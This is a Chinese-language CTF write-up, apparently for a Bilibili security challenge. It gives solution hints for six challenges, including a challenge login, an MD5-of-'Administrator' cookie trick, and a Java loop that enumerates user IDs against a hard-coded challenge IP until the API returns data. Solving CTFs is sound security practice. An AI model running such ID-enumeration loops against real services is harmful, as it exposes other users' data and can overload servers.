第一題:
注意題目,頁面的背后是什么?所以答案在頁面里。
如果直接改User-Agent的話將會得到第二題的答案......
第三題:
user=admin password=bilibili
第四題:
首先提示權限不足,下意識的認為第三題會反admin的cookie之類的東西。結果去第三題找了半天都沒找到,看到有人說是Administrator的MD5,好吧...
第五題:
下午去做題的時候服務器崩掉了,就這么請求接口不崩掉才怪......
寫了一個demo,異常沒有處理直接拋,連接也沒關...
public static void main(String[] args) throws IOException {
//初始化httpclient
CloseableHttpClient httpClient = HttpClients.createDefault();
for (int i = 100336889; i < 100336989 ; i++) {
String url = "http://45.113.201.36/api/ctf/5?uid=" + i;
HttpGet httpGet = new HttpGet(url);
httpGet.setHeader("Cookie","");
//httpGet.setHeader("User-Agent","bilibili Security Browser");
CloseableHttpResponse response = httpClient.execute(httpGet);
String httpResp = EntityUtils.toString(response.getEntity());
JSONObject jsonObject = JSON.parseObject(httpResp);
String code = jsonObject.get("code").toString();
if (code.equals("200")){
System.out.println(jsonObject.get("data").toString());
return;
}
}
}
第六題:
頁面沒有打開,服務器可能是又崩掉了。有時間再去看看吧。
(其實我不會php QAQ)